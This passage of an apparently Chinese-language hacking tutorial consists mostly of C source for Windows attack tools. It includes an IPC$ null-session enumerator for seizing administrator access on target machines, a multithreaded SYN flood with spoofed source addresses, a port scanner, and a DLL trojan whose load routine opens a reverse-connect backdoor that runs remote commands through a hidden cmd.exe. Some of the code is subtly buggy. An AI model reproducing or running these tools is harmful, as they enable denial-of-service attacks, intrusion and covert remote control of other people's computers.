        return VER_PLATFORM_WIN32_NT;
    }
    return 0;
}

VOID GetSysInfo()
{
    TCHAR szBuff[MAX_PATH];
    TCHAR szTemp[MAX_PATH];

    wsprintf(szBuff,"\n\n\r<<System Information>>\n\n\r");
    printf("%s",szBuff);

                                            //计算机名
    DWORD len=sizeof(szTemp);
    GetComputerName(szTemp,&len);
    wsprintf(szBuff,"Computer Name: %s\n\n\r",szTemp);
    printf("%s",szBuff);

                                            //当前操作系统
    switch(GetOS())
    {
        case VER_PLATFORM_WIN32_WINDOWS:
        lstrcpy(szTemp,"Windows 9x");
        break;
        case VER_PLATFORM_WIN32_NT:
        lstrcpy(szTemp,"Windows NT/2000");
        break;
    }
    wsprintf(szBuff,"Option System: %s\n\n\r",szTemp);
    printf("%s",szBuff);

                                                //内存容量
    MEMORYSTATUS mem;
    mem.dwLength=sizeof(mem);
    GlobalMemoryStatus(&mem);
    wsprintf(szBuff,"Total Memroy: %dM\n\n\r",mem.dwTotalPhys/1024/1024+1);
    printf("%s",szBuff);

                                                //系统目录
    TCHAR szPath[MAX_PATH];
    GetWindowsDirectory(szTemp,sizeof(szTemp));
    GetSystemDirectory(szBuff,sizeof(szBuff));
    wsprintf(szPath,"Windows Directory: %s\n\n\rSystem Directory: %s\n\n\r",szTemp,szBuff);
    printf("%s",szBuff);

                                            //驱动器及分区类型
    TCHAR szFileSys[10];

    for(int i=0;i<26;++i)
    {
        wsprintf(szTemp,"%c:\\",'A'+i);
        UINT uType=GetDriveType(szTemp);
        switch(uType)
        {
            case DRIVE_FIXED:
            GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
            wsprintf(szBuff,"Hard Disk: %s (%s)\n\n\r",szTemp,szFileSys);
            printf("%s",szBuff);
            break;
            case DRIVE_CDROM:
            wsprintf(szBuff,"CD-ROM Disk: %s\n\n\r",szTemp);
            printf("%s",szBuff);
            break;
            case DRIVE_REMOTE:
            GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
            wsprintf(szBuff,"NetWork Disk: %s (%s)\n\n\r",szTemp,szFileSys);
            printf("%s",szBuff);
            break;
        }
    }

}
int main(void )
{
    GetSysInfo();
    return 0;

}


                                          第七节 取得系统拥护权限

   我们要取得肉鸡的控制权,首先必须有Administrator权限,获得权限的途径很多都是通过IPC$破解来获得用户密码.

我们看一下代码:

#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment (lib, "Mpr.lib")
#pragma comment (lib, "Netapi32.lib")

void getuser(char *);

void main( int argc, char *argv[ ] )
{           											//空用户名和密码
    DWORD ret;
    char username[100] = "", password[100] = "";
    char server[100] = "", ipc[100] = "";
    NETRESOURCE NET;

    if (argc == 1)
    {
        exit(1);
    }

    strncpy(server,argv[1],100);
    printf("server: %s\n", server);

    sprintf(ipc,"\\\\%s\\ipc$",server);

    NET.lpLocalName = NULL;
    NET.lpProvider = NULL;
    NET.dwType = RESOURCETYPE_ANY;
    NET.lpRemoteName = (char*)&ipc;

    printf("setting up session... ");
    ret = WNetAddConnection2(&NET,(const char *)&password,(const char *)&username,0);
                                                                                //建立空连接
    if (ret != ERROR_SUCCESS)
    {
        printf("IPC$ connect fail.\n");
        exit(1);
    }
    else
        printf("IPC$ connect success.\n");
    getuser((char*)&server);

    printf("Disconnect Server... ");
    ret = WNetCancelConnection2((char*)&ipc,0,TRUE);                     //断开IPC连接
    if (ret != ERROR_SUCCESS)
    {
        printf("fail.\n");
        exit(1);
    }
    else
         printf("success.\n");
    exit (0);
}

void getuser(char *server)                      				//取得用户的函数
{
    DWORD ret, read, total, resume = 0;
    int i;
    LPVOID buff;
    char comment[255];
    wchar_t wserver[100];

    do
     {
        ret = NetLocalGroupEnum(wserver, 1, (unsigned char **)&buff, MAX_PREFERRED_LENGTH, &read, &total, &resume);

        if (ret != NERR_Success && ret != ERROR_MORE_DATA)
        {
            printf("fail\n");
            break;
        }
        PLOCALGROUP_INFO_1 info = (PLOCALGROUP_INFO_1) buff;

        for (i=0; i<read; i++)
        {
            printf("GROUP: %S\n",info[i].lgrpi1_name);

            WideCharToMultiByte(CP_ACP, 0, info[i].lgrpi1_comment , -1, comment,255,NULL,NULL);
            printf("\tCOMMENT: %s\n",comment);

            DWORD ret, read, total, resume = 0;
            ret = NetLocalGroupGetMembers((const unsigned short*)&wserver, info[i].lgrpi1_name, 2, (unsigned char **)&buff, 1024, &read, &total, &resume);

            if (ret != NERR_Success && ret != ERROR_MORE_DATA)
            {
                printf("fail\n");
                break;
            }

            PLOCALGROUP_MEMBERS_INFO_2 info = (PLOCALGROUP_MEMBERS_INFO_2) buff;

            for (unsigned i=0; i<read; i++)
            {
                printf("\t\t%S\n", info[i].lgrmi2_domainandname);
                printf("\t\t\tSID:%d\n", info[i].lgrmi2_sid);
                printf("\t\t\tSIDUSAGE:%d\n",info[i].lgrmi2_sidusage);
            }
            NetApiBufferFree (buff);
        }

        NetApiBufferFree (buff);

    }
    while (ret == ERROR_MORE_DATA );
}


                    第一节 多线程DOS程序

  DOS基本原理相信大家都已经很熟悉了,DOS工具大家也用的很熟悉.在群里 经常有人说什么时候去DOS什么东西.
 现在我们就自己编写一个DOS工具.

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839

int threadnum,maxthread,port;
char *DestIP;										//目标IP

void display(void)  									// 定义状态提示函数
{
    static int play=0;
                                    // 进度条
    char *plays[12]=
    {
        " | ",
         " / ",
         " - ",
         " \\ ",
         " | ",
         " / ",
         " - ",
         " \\ ",
         " | ",
         " / ",
         " - ",
         " \\ ",
    };

    printf("=%s= %d threads \r", plays[play],threadnum);
    play=(play==11)?0:play+1;
}

                            //定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
    USHORT th_sport;					//16位源端口号
    USHORT th_dport;					//16位目的端口号
    unsigned int th_seq;					//32位序列号
    unsigned int th_ack;					//32位确认号
    unsigned char th_lenres;				//4位首部长度+6位保留字中的4位
    unsigned char th_flag;					////6位标志位
    USHORT th_win;						//16位窗口大小
    USHORT th_sum;						//16位效验和
    USHORT th_urp;						//16位紧急数据偏移量
}TCP_HEADER;

                        //定义一个iphdr来存放IP首部
typedef struct iphdr				//ip首部
{
        unsigned char h_verlen;				//4位手部长度，和4位IP版本号
        unsigned char tos;				//8位类型服务
        unsigned short total_len;			//16位总长度
        unsigned short ident;				//16位标志
        unsigned short frag_and_flags;			//3位标志位（如SYN,ACK,等等)
        unsigned char ttl;				//8位生存时间
        unsigned char proto;				//8位协议
        unsigned short checksum;			//ip手部效验和
        unsigned int sourceIP;				//伪造IP地址
        unsigned int destIP;				//攻击的ip地址
}IP_HEADER;

                //TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性
struct
{
    unsigned long saddr;				//源地址
    unsigned long daddr;				//目的地址
    char mbz;					//置空
    char ptcl;					//协议类型
    unsigned short tcpl;				//TCP长度
}PSD_HEADER;

                //计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
                //然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size-=sizeof(USHORT);
    }
    if(size)
        cksum+=*(UCHAR*)buffer;
    cksum=(cksum >> 16)+(cksum&0xffff);
    cksum+=(cksum >>16);
    return (USHORT)(~cksum);
}

DWORD WINAPI SynfloodThread(LPVOID lp)				//synflood线程函数
{

    SOCKET  sock =NULL;
    int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
    struct sockaddr_in sockAddr;
    TCP_HEADER  tcpheader;
    IP_HEADER   ipheader;
    char        sendBuf[128];

    sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    if(sock==INVALID_SOCKET)
    {
        printf("Socket failed: %d\n",WSAGetLastError());
        return 0;
    }

                                        //设置IP_HDRINCL以便自己填充IP首部
    ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    if(ErrorCode==SOCKET_ERROR)
    {
            printf("Set sockopt failed: %d\n",WSAGetLastError());
        return 0;
    }
                                            //设置发送超时
    ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    if(ErrorCode==SOCKET_ERROR)
    {
            printf("Set sockopt time out failed: %d\n",WSAGetLastError());
        return 0;
    }
                                        //设置目标地址
    memset(&sockAddr,0,sizeof(sockAddr));
    sockAddr.sin_family=AF_INET;
    sockAddr.sin_addr.s_addr =inet_addr(DestIP);
    FakeIpNet=inet_addr(DestIP);
    FakeIpHost=ntohl(FakeIpNet);
                                                //填充IP首部
    ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
    ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    ipheader.ident = 1;
    ipheader.frag_and_flags = 0;
    ipheader.ttl = 128;
    ipheader.proto = IPPROTO_TCP;
    ipheader.checksum =0;
    ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    ipheader.destIP = inet_addr(DestIP);
                                            //填充TCP首部
    tcpheader.th_dport=htons(port);
    tcpheader.th_sport = htons(8080);
    tcpheader.th_seq = htonl(SEQ+SendSEQ);
    tcpheader.th_ack = 0;
    tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
    tcpheader.th_flag = 2;
    tcpheader.th_win = htons(16384);
    tcpheader.th_urp = 0;
    tcpheader.th_sum = 0;

    PSD_HEADER.saddr=ipheader.sourceIP;
    PSD_HEADER.daddr=ipheader.destIP;
    PSD_HEADER.mbz=0;
    PSD_HEADER.ptcl=IPPROTO_TCP;
    PSD_HEADER.tcpl=htons(sizeof(tcpheader));

    for(;;)
    {

           SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
        ipheader.checksum =0;
        ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
        tcpheader.th_seq = htonl(SEQ+SendSEQ);
        tcpheader.th_sport = htons(SendSEQ);
        tcpheader.th_sum = 0;
        PSD_HEADER.saddr=ipheader.sourceIP;
                                //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
        memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
        memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
        tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

        memcpy(sendBuf,&ipheader,sizeof(ipheader));
        memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
        memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
        dataSize=sizeof(ipheader)+sizeof(tcpheader);
        ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
        memcpy(sendBuf,&ipheader,sizeof(ipheader));

        sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
        display();

    }
    Sleep(20);
    InterlockedExchangeAdd((long *)&threadnum,-1);

    return 0;
}

void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========gxisone@hotmail.com     2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}

int main(int argc,char* argv[])
{

    if(argc!=4)
    {

        usage(argv[0]);
        return 0;
    }
    usage(argv[1]);

    int ErrorCode=0;
    DestIP=argv[1];							//取得目标主机IP
    port=atoi(argv[2]);						//取得目标端口号
    maxthread=(maxthread>100)?100:atoi(argv[3]);
                                    //如果线程数大于100则把线程数设置为100

    WSADATA wsaData;

    if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
            printf("WSAStartup failed: %d\n",ErrorCode);
            return 0;
    }

    printf("[start]...........\nPress any key to stop!\n");

    while(threadnum<maxthread)						//循环创建线程
    {
    if(CreateThread(NULL,0,SynfloodThread,0,0,0))
    {
        Sleep(10);
        threadnum++;
    }
    }
    WSACleanup();
    printf("\n[Stopd]...........\n");

    return 0;
}


                        第二节 单线程TCP端口扫描器

#include<winsock2.h>
#include<stdio.h>
#include <time.h>                          				//计时需要用到的头文件
#pragma comment(lib,"ws2_32.lib")

#include <time.h>							//计时需要用到的头文件
clock_t start,end;							//程序运行的起始和结束时间
float costtime;								//程序耗时
void usage(void)
{
    printf("\tusage: tcpscan RemoteIP StartPort-EndPort\n");
    printf("\tExample: tcpscan 192.168.1.1 80-100\n");
}

int main(int argc,char **argv)
{
    char *host;
    int startport,endport;
        char *p;
    if(argc!=3)
    {
        usage();
        return 0;
    }

    p=argv[2];								//处理端口参数
        if(strstr(argv[2],"-"))
        {
        startport=atoi(argv[2]);
            for(;*p;)
                if(*(p++)=='-')break;
            endport=atoi(p);

            if(startport<1 || endport>65535)
            {
            printf("Port Error!\n");
                    return 0;
            }

        }

    host=argv[1];

        WSADATA ws;
    SOCKET s;
    struct sockaddr_in addr;
    int result;
    long lresult;

    lresult=WSAStartup(MAKEWORD(1,1), &ws);

    addr.sin_family =AF_INET;
    addr.sin_addr.s_addr =inet_addr(host);

        start=clock();									//开始计时

    for (int i=startport;i<endport;i++)
    {
        s=socket(AF_INET, SOCK_STREAM, 0);
            addr.sin_port = htons(i);
        if(s==INVALID_SOCKET)break;
        result=connect(s, (struct sockaddr*)&addr,sizeof(addr));
        if(result==0)
        {
            printf("%s %d\n",host,i);
            closesocket(s);

        }

    }
    end=clock();							//计时结束
    costtime= (float)(end - start) / CLOCKS_PER_SEC;  					//转换时间格式
    printf("Cost time:%f second",costtime);								//显示耗时
    WSACleanup();

}


                    第三节 HTTP代理

#include <stdio.h>
#include <winsock2.h>
#define  MAXBUFLEN  20480
#define  HTTPADDLEN 50
#define  TIMEWAIT   2000
#pragma comment(lib,"ws2_32.lib")
SOCKET   Global[1000];

DWORD WINAPI  Proxy( LPVOID pSocket);
int   ParseHttpRequest(char * SourceBuf,int DataLen,void * ServerAddr);

int main(int argc,char * argv[])
{
       SOCKET  MainSocket,ClientSocket;
       struct  sockaddr_in Host,Client;
       WSADATA WsaData;
       int  AddLen,i;

                                   //初始化

       if(WSAStartup(MAKEWORD(2,2),&WsaData) < 0)
       {
               printf("初始化失败\n");
               return 1;
       }
                                       //创建socket端口
       MainSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
       if(MainSocket == SOCKET_ERROR)
       {
               printf("端口创建错误\n");
           return 1;
       }
       Host.sin_family = AF_INET;
       Host.sin_port = htons(8080);
       Host.sin_addr.s_addr = inet_addr("127.0.0.1");
       printf("正在工作\n");
                                           //绑定socket
       if(bind(MainSocket,(SOCKADDR *)&Host,sizeof(Host)) != 0)
       {
               printf("绑定错误\n");
       }
       i = 0;
                                           //监听
       if(listen(MainSocket,5) == SOCKET_ERROR)
       {
               printf("监听错误\n");
       }
       AddLen = sizeof(Client);

                                   //连接新的客户
       i = 0;
       for(;;)
       {
               ClientSocket = accept(MainSocket,(SOCKADDR *)&Client,&AddLen);
               if(ClientSocket == SOCKET_ERROR)
               {
                   printf("接受客户请求错误!\n");
               }
               printf(".");
               i ++ ;
               if( i >= 1000)
               i = 0;
               Global[i] = ClientSocket;

                               //对于每一个客户启动不同的线程程进行控制
                           //这个地方在使用ClientSocket的时候，要不要保证在某一时刻内只能有一个进程使用？

               CreateThread(NULL,0,Proxy,(LPVOID)Global[i],0,NULL);

       }

    return 0;
}
DWORD WINAPI Proxy( LPVOID pSocket)
{
       SOCKET ClientSocket;
       char  ReceiveBuf[MAXBUFLEN];
       int  DataLen;
       struct sockaddr_in  ServerAddr;
       SOCKET  ProxySocket;
       int i = 0;
       int time = TIMEWAIT;

                                   //得到参数中的端口号信息
       ClientSocket = (SOCKET)pSocket;
                                //接受第一次请求信息
       memset(ReceiveBuf,0,MAXBUFLEN);
       DataLen = recv(ClientSocket,ReceiveBuf,MAXBUFLEN,0);

       if(DataLen == SOCKET_ERROR)
       {
               printf("错误\n");
               closesocket(ClientSocket);
              return 0;
       }
       if(DataLen == 0)
       {
               closesocket(ClientSocket);
              return 0;
       }
                       //处理请求信息，分离出服务器地址
       if( ParseHttpRequest(ReceiveBuf,DataLen,(void *)&ServerAddr) < 0)
       {
               closesocket(ClientSocket);
               goto error;
       }
                       //创建新的socket用来和服务器进行连接
       ProxySocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
                                       //设置超时时间
       setsockopt(ProxySocket,SOL_SOCKET,SO_RCVTIMEO,(char *)&time,sizeof(time));
       if(ProxySocket == SOCKET_ERROR)
       {
               printf("端口创建错误\n");
               return 0;
       }
       if(connect(ProxySocket,(SOCKADDR *)&ServerAddr,sizeof(ServerAddr)) == SOCKET_ERROR)
       {
                                   //printf("连接服务器错误");
               goto error;
       }
                                   //开始进行数据传输处理
                                   //发送到服务器端
       if(send(ProxySocket,ReceiveBuf,DataLen,0) == SOCKET_ERROR)
       {
               //printf("数据发送错误");
               goto error;

       }
                               //从服务器端接受数据
       while(DataLen > 0)
       {
               memset(ReceiveBuf,0,MAXBUFLEN);

               if((DataLen = recv(ProxySocket,ReceiveBuf,MAXBUFLEN,0)) <= 0)
               {
                       //    printf("数据接受错误");
                   break;

               }
                 else
                       //发送到客户端
                   if(send(ClientSocket,ReceiveBuf,DataLen,0) < 0)
                   {
                               //    printf("数据发送错误");
                           break;
                   }

       }

    error:
           closesocket(ClientSocket);
           closesocket(ProxySocket);

           return 0;

}
int  ParseHttpRequest(char * SourceBuf,int DataLen,void * ServerAddr)
{

       char * HttpHead = "http://";
       char * FirstLocation = NULL;
       char * LastLocation = NULL;
       char * PortLocation = NULL;
       char  ServerName[HTTPADDLEN];
       char  PortString[10];
       int   NameLen;
       struct hostent * pHost;
       struct sockaddr_in * pServer = (struct sockaddr_in *)ServerAddr;
                                       //取得http://的位置
       FirstLocation = strstr(SourceBuf,HttpHead) + strlen(HttpHead);
                                       //取得/的位置
       printf("%s\n",FirstLocation);
       LastLocation=strstr(FirstLocation,"/");

                               //得到http://和/之间的服务器的名称

       memset(ServerName,0,HTTPADDLEN);
       memcpy(ServerName,FirstLocation,LastLocation - FirstLocation);

                   //有些情况下，请求的地址中带有端口号格式为“：+ 端口号”；
                           //取得 ：的位置
       PortLocation = strstr(ServerName,":");

                           //填充server结构
       pServer->sin_family = AF_INET;
                           //在url中制定了服务器端口
       if(PortLocation != NULL)
       {
               NameLen = PortLocation - ServerName -1;
               memset(PortString,0,10);
               memcpy(PortString,PortLocation + 1,NameLen);
               pServer->sin_port = htons((u_short)atoi(PortString));
               *PortLocation = 0;
       }
                       else//在url中，没有制定服务器端口
       {
               pServer->sin_port=htons(80);
       }

       if(NameLen > HTTPADDLEN)
       {
                   printf("服务器名字太长\n");
                   return -1;
       }

           //得到服务器信息
           //如果地址信息是以IP地址(192.168.0.1)的形式出现的
       if(ServerName[0] >= '0' && ServerName[0] <= '9')
       {

               pServer->sin_addr.s_addr = inet_addr(ServerName);
       }
           //以域名的形式出现的(www.sina.com.cn)
       else
       {
               pHost = (struct hostent *)gethostbyname(ServerName);
               if(!pHost)
           {
               printf("取得主机信息错误\n");
               printf("%s\n",ServerName);
               return -1;
       }
           memcpy(&pServer->sin_addr,pHost->h_addr_list[0],sizeof(pServer->sin_addr));
   }

   return 0;
}


                        第四节 线程插入技术

头文件:

                //  resource.h
#define RC_BINARYTYPE 256
#define ID_MAGICDEL_DLL 100

DLL文件:

#include <windows.h>
#include<stdio.h>
#include "resource.h"

void WriteResourceToFile(char const *filename)
{

    HINSTANCE hInstance=GetModuleHandle(NULL);

        HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_MAGICDEL_DLL),
                                          MAKEINTRESOURCE(RC_BINARYTYPE));
        HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
        void *pvRes = LockResource(hgRes);
        DWORD cbRes = SizeofResource(hInstance, hResInfo);

        HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
                                      FILE_ATTRIBUTE_NORMAL, 0);
        DWORD cbWritten;
        WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
        CloseHandle(hFile);
}

int main(void)
{
        WriteResourceToFile("trojan.dll");
    return 0;
}

主程序:

#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
int StartSocket();						//连接函数
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
        )   							//动态连接库的入口，相当于main()函数
{
switch(ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH:
       {
           DWORD id;           CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);
           break;
       }
      default:
  break;
    }
  return TRUE;
}
int StartSocket()
{
char *messages = "\r\n======================== BackConnect BackDoor V0.1 ========================\r\n========= Welcome to Http://www.hackerxfiles.net =========\r\n";
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
char buf1[1024];   //作为socket接收数据的缓冲区
memset(buf1,0,1024);   //清空缓冲区
 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
   {
     printf("WSAStartup error.Error:d\n",WSAGetLastError());
     return;
   }

   addr_in.sin_family=AF_INET;
   addr_in.sin_port=htons(80);  //反向连接的远端主机端口
   addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");  //远端IP
      if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
   {
     printf("Socket failed.Error:d\n",WSAGetLastError());
     return;
   }
   if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)     //连接客户主机
   {
     printf("Connect failed.Error:d",WSAGetLastError());
     return;
   }
      if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR)  //发送欢迎信息
   {
        printf("Send failed.Error:d\n",WSAGetLastError());
        return;
   }

char buffer[2048] = {0};//管道输出的数据
for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
  printf("Error On CreatePipe()");
     return;
}

STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline,"\\cmd.exe /c");

int   len=recv(sock,buf1,1024,NULL);
if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接，则自动退出程序
if(len<=1){send(sock,"error\n",sizeof("error\n"),0);continue;}

strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
 send(sock,"Error command\n",sizeof("Error command\n"),0);
 continue;
}

CloseHandle(hWrite);
//循环读取管道中数据并发送，直到管道中没有数据为止
for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){
send(sock,buffer,strlen(buffer),0);
}
     }
return 0;
}